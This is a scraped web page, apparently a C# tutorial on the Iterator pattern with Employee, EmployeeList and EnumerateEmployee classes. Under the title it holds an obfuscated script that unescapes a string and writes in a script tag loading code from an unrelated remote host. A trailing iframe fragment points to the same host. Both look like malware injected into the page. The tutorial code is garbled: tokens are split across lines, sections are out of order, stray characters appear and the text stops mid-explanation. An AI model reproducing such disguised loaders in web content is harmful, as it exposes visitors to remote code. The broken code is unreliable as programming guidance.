HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Iterator Design Pattern
Iterator pattern:
In object-oriented programming, the Iterator pattern is a design pattern in which iterators are used to aggregate object sequentially without exposing its underlying representation. An Iterator object encapsulates the internal structure of how the iteration occurs.
This article, explains how to use the Iterator pattern to manipulate any collection of objects. To explain this I am using two interfaces IEnumerator and IEnumerables.
I have a class called Employee, which stores his ID and name.
public
class
Employee
{
private
int
m_nID;
private
string
m_strName;
public
Employee(
int
nID,
string
strName)
{
m_nID = nID;
m_strName = strName;
}
#region
Property
///
<summary>
///
///
</summary>
public
int
EmployeeID
{
get
{
return
this
.m_nID;
}
}
///
<summary>
///
///
</summary>
public
string
EmployeeName
{
get
{
return
this
.m_strName;
}
}
# endregion
}
a. EmployeeList, which is derived from the interface IEnumerable. So this class should implement
GetEnumerator
function. This function returns an object of EnumerateEmployee which is derived from IEnumerator.
b. EnumerateEmployee, which is derived from the interface IEnumerator. So this class should implement two functions namely
MoveNext
and
Reset
and a property called
Current
. In this class I created four objects of Employee objects and added to an array list. MoveNext function will iterate through this collection.
public
class
EnumerateEmployee
: IEnumerator
In order to execute this class, create a window application and put the following code in the button click event.
{
private
int
m_nPosition;
private
ArrayList m_ArrEmployee =
new
ArrayList();
///
<summary>
///
///
</summary>
d
public
EnumerateEmployee()
{
m_nPosition = -1;
m_ArrEmployee.Add(
new
Employee(1,
"Kamsa"
));
m_ArrEmployee.Add(
new
Employee(2,
"Rama"
));
m_ArrEmployee.Add(
new
Employee(3,
"Sita"
));
m_ArrEmployee.Add(
new
Employee(4,
"Gopala"
));
}
#region
EnumMembers
///
<summary>
///
///
</summary>
///
<returns></returns>
public
bool
MoveNext()
{
bool
b_return =
false
;
++m_nPosition;
if
(m_nPosition < m_ArrEmployee.Count)
b_return =
true
;
return
b_return;
}
///
<summary>
///
///
</summary>
public
object
Current
{
get
{
return
m_ArrEmployee[m_nPosition];
}
}
///
<summary>
///
///
</summary>
public
void
Reset()
{
m_nPosition = -1;
}
# endregion
}
while
(objEnumEmp.MoveNext())
{
Employee objEmployee = (Employee)objEnumEmp.Current;
nID = objEmployee.EmployeeID; strName = objEmployee.EmployeeName;
}
string
strName;
int
nID;
EmployeeList
objEmpList =
new
EmployeeList
();
IEnumerator objEnumEmp = objEmpList.GetEnumerator();
I have two more classes
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">